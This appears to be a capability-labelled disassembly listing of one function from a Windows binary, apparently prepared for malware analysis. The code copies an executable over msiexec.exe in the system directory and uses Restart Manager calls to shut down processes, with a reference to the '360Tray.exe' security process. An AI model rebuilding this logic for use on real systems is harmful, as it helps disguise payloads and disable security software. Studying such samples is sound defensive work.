Function at 0x4022d0
Capabilities:
Copy file
Create restart manager session
Enumerate processes that use resource
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x427f41
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44c
mov al, byte [esp + 7]
push ebx
push ebp
push esi
xor ebx, ebx
push edi
push ebx
lea ecx, [esp + 0x20]
mov byte [esp + 0x20], al
call fcn.00402db0
mov edi, str.360Tray.exe
or ecx, 0xffffffff
xor eax, eax
push 1
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov ebp, ecx
lea ecx, [esp + 0x20]
push ebp
call fcn.004032a0
test al, al
je 0x402348
mov edi, dword [esp + 0x20]
mov ecx, ebp
mov edx, ecx
mov esi, str.360Tray.exe
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x20]
mov dword [esp + 0x24], ebp
mov byte [eax + ebp], bl
lea ecx, [esp + 0x1c]
lea edx, [esp + 0x30]
push ecx
push edx
mov dword [esp + 0x46c], ebx
call fcn.00401e10
add esp, 8
mov eax, dword [esp + 0x38]
mov byte [esp + 0x464], 1
cmp eax, ebx
je 0x402545
lea eax, [esp + 0x30]
lea ecx, [esp + 0x48]
push eax
push ecx
call fcn.00402190
add esp, 8
lea edx, [esp + 0xbc]
push 0x104
push edx
mov byte [esp + 0x46c], 2
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [esp + 0xbc]
push str.msiexec.exe
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov ecx, 7
mov esi, str.C:_forza_x64_release_final.exe
lea edi, [esp + 0x58]
push ebx
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea ecx, [esp + 0x5c]
lea edx, [esp + 0xc0]
push ecx
push edx
movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x402421
push str.File_copied_successfully.
push 0x43adf8
call fcn.00403980
add esp, 8
mov esi, eax
mov ecx, esi
push 0xa
call fcn.00402960
mov eax, dword [esi]
xor edi, edi
mov ecx, dword [eax + 4]
lea eax, [ecx + esi]
mov cl, byte [ecx + esi + 4]
test cl, 6
jne 0x402465
mov eax, dword [eax + 0x28]
mov ecx, eax
mov edx, dword [eax]
call dword [edx + 0x2c]
cmp eax, 0xffffffff
jne 0x402465
jmp 0x402460
push str.Failed_to_copy_file.
push 0x43af20
call fcn.00403980
add esp, 8
mov esi, eax
mov ecx, esi
push 0xa
call fcn.00402960
mov ecx, dword [esi]
xor edi, edi
mov edx, dword [ecx + 4]
mov cl, byte [edx + esi + 4]
test cl, 6
lea eax, [edx + esi]
jne 0x402465
mov eax, dword [eax + 0x28]
mov ecx, eax
mov edx, dword [eax]
call dword [edx + 0x2c]
cmp eax, 0xffffffff
jne 0x402465
mov edi, 4
mov eax, dword [esi]
push ebx
push edi
mov ecx, dword [eax + 4]
add ecx, esi
call fcn.00402ad0
lea ecx, [esp + 0x58]
push ecx
call fcn.00401d30
add esp, 4
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x7a]
mov word [esp + 0x78], bx
lea edx, [esp + 0x78]
rep stosd dword es:[edi], eax
push edx
lea eax, [esp + 0x14]
push ebx
push eax
call sub.RstrtMgr.DLL_RmStartSession
test eax, eax
jne 0x40251f
mov eax, dword [esp + 0x4c]
mov dword [esp + 0x18], 0x4297b0
cmp eax, ebx
je 0x4024ba
mov dword [esp + 0x18], eax
mov edx, dword [esp + 0x10]
push ebx
push ebx
push ebx
lea ecx, [esp + 0x24]
push ebx
push ecx
push 1
push edx
call sub.RstrtMgr.DLL_RmRegisterResources
lea eax, [esp + 0x44]
lea ecx, [esp + 0x1c0]
push eax
lea edx, [esp + 0x30]
push ecx
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0x48]
push edx
push eax
push ecx
mov dword [esp + 0x40], 1
call sub.RstrtMgr.DLL_RmGetList
test eax, eax
jne 0x40251f
mov edx, dword [esp + 0x10]
push ebx
push 1
push edx
call sub.RstrtMgr.DLL_RmShutdown
mov eax, dword [esp + 0x10]
push ebx
push ebx
push eax
call sub.RstrtMgr.DLL_RmRestart
mov ecx, dword [esp + 0x10]
push ecx
call sub.RstrtMgr.DLL_RmEndSession
mov ecx, dword [esp + 0x4c]
cmp ecx, ebx
je 0x402545
mov al, byte [ecx - 1]
cmp al, bl
je 0x402539
cmp al, 0xff
je 0x402539
dec al
mov byte [ecx - 1], al
jmp 0x402545
add ecx, 0xfffffffe
push ecx
call fcn.0041cc9c
add esp, 4
mov ecx, dword [esp + 0x34]
cmp ecx, ebx
je 0x402569
mov al, byte [ecx - 1]
cmp al, bl
je 0x40255f
cmp al, 0xff
je 0x40255f
dec al
mov byte [ecx - 1], al
jmp 0x402569
dec ecx
push ecx
call fcn.0041cc9c
add esp, 4
mov ecx, dword [esp + 0x20]
mov dword [esp + 0x34], ebx
cmp ecx, ebx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x3c], ebx
je 0x402599
mov al, byte [ecx - 1]
cmp al, bl
je 0x40258f
cmp al, 0xff
je 0x40258f
dec al
mov byte [ecx - 1], al
jmp 0x402599
dec ecx
push ecx
call fcn.0041cc9c
add esp, 4
mov ecx, dword [esp + 0x45c]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x458
ret